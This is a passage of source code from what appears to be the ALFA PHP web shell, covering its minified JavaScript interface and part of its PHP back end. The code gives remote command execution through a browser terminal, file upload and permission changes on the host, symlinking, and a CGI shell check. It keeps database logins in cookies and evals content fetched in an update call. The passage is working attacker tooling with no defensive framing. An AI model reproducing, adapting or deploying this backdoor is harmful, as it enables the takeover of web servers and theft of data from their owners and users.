a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+=\'<a base_id="\'+i+\'" fname="\'+t[s]+\'" path="\'+l+o+\'" onclick="alfaOpenArchive(this);">\'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows=\'<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>\',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+=\'<tr class="dbh_\'+o+\'"><th>\'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+\'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("\'+o+\'","\'+a+\'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("\'+o+"\");\'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector(\'#"+i+\' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">\'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",\'<div class="symlink_path" id="link_id_\'+a+\'">\'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML=\'<img draggable="false" title="\'+t.server.name+\'" src="http://solevisible.com/images/flags/48/\'+t.server.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML=\'<img draggable="false" title="\'+t.client.name+\'" src="http://solevisible.com/images/flags/48/\'+t.client.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor(\'"+a+"\',\'"+c+"\',\'\',\'\',\'\',\'file\')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';");break;case"download":s.setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",\'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="\'+l+\'" id="filesman_tab_\'+o+\'" fm_id="\'+o+\'" onclick="filesmanTabController(this);" fname="\'+t+\'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">\'+i+\'</span> <img fm_id="\'+o+\'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",\'<div style="position:relative;" fm_id="\'+o+\'" id="filesman_holder_\'+o+\'" class="ajaxarea"><div class="header"></div></div>\'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?\'<span class="header_values" style="margin-left: 4px;">\'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx(\'which \' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf(\'%o\', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return \'<span style="font-weight:unset;" class="\'.$class.\'">\'.$num.\'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="\'.$class.\'">\'.$human.\'</span>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post[\'name\']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
	if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
		return true;
	}
	if(strlen(alfaEx("whoami",false,$cgi))>0){
		$_COOKIE["alfa_canruncmd"] = true;
		return true;
	}
	return false;
}
function _alfa_symlink($target, $link){
	$phpsym = function_exists("symlink");
	if($phpsym){
		@symlink($target, $link);
	}else{
		alfaEx("ln -s \'".addslashes($target)."\' \'".addslashes($link)."\'");
	}
}
function _alfa_file_exists($file,$cgi=true){
	if(@file_exists($file)){
		return true;
	}else{
		if(strlen(alfaEx("ls -la \'".addslashes($file)."\'",false,$cgi))>0){
			return true;
		}
	}
	return false;
}
function _alfa_file($file,$cgi=true){
	$array = @file($file);
	if(!$array){
		if(strlen(alfaEx("id",false,$cgi))>0){
			$data = alfaEx(\'cat "\'.addslashes($file).\'"\',false,$cgi);
			if(strlen($data)>0){
				return explode("
", $data);
			}else{
				return false;
			}
		}else{
			return false;
		}
	}else{
		return $array;
	}
}
function _alfa_is_writable($file){
	$check = false;
	$check = @is_writable($file);
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx(\'[ -w "\'.trim(addslashes($file)).\'" ] && echo "yes" || echo "no"\');
			if($check == "yes"){
				$check = true;
			}else{
				$check = false;
			}
		}
	}
	return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
	$check = false;
	$check = @is_dir($dir);
	if($mode == "-e"){
		$check = @is_file($dir);
	}
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx(\'[ "\'.trim($mode).\'" "\'.trim(addslashes($dir)).\'" ] && echo "yes" || echo "no"\');
			if($check == "yes"){
				return true;
			}else{
				return false;
			}
		}
	}
	return $check;
}
function _alfa_load_ace_options($base){
	return \'<span>Theme: </span><select class="ace-controler ace-theme-selector" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\'\'.$base.\'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\'\'.$base.\'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\'\'.$base.\'\', \'-\', this);return false;">-</button> | \';
}
function alfaFilesMan2(){
	alfahead();
	AlfaNum(8,9,10,7,6,5,4);
	echo \'<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>\';
	alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE[\'alfa_f\']))
$_COOKIE[\'alfa_f\'] = @unserialize($_COOKIE[\'alfa_f\']);
if(!empty($_POST[\'alfa1\'])){
switch($_POST[\'alfa1\']){
case \'uploadFile\':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS[\'glob_chdir_false\']){
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS[\'cwd\'])){
$files = reArrayFiles($_FILES[\'f\']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
	alfaEx("cat \'".addslashes($file[\'tmp_name\'])."\' > \'".addslashes($_POST["c"]."/".$file[\'name\'])."\'");
}else{
	if(@move_uploaded_file($file[\'tmp_name\'],$file[\'name\'])){
		$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file[\'name\'])):array("name" => "????");
		$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file[\'name\'])):array("name" => "????");
		$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($file[\'name\']):"????");
		$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($file[\'name\']):"????");
		$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file[\'name\']));
		$file_perm = alfaPermsColor($file[\'name\']);
		$file_size = @filesize($file[\'name\']);
		$ret_files[] = array("name" => $file[\'name\'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
	}
}
}
if(!$move_cmd_file){
	echo json_encode($ret_files);
}
}else{
	echo "noperm";
	return;
}
if(!$move_cmd_file){
return;
}
break;
case \'mkdir\':
$new_dir_cmd = false;
if($GLOBALS[\'glob_chdir_false\']){
	if(_alfa_can_runCommand(true,true)){
		if(_alfa_is_writable($GLOBALS[\'cwd\'])){
			if(!_alfa_is_dir(trim($_POST[\'alfa2\']))){
				alfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';mkdir \'".trim(addslashes($_POST[\'alfa2\']))."\'");
				echo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";
			}else{
				echo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";
			}
		}else{
			echo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";
		}
	}else{
		echo "<script>alfaShowNotification(\'Can\'t create new dir !\', \'Files manager\', \'error\');</script>";
	}
}else{
	if(_alfa_is_writable($GLOBALS[\'cwd\'])){
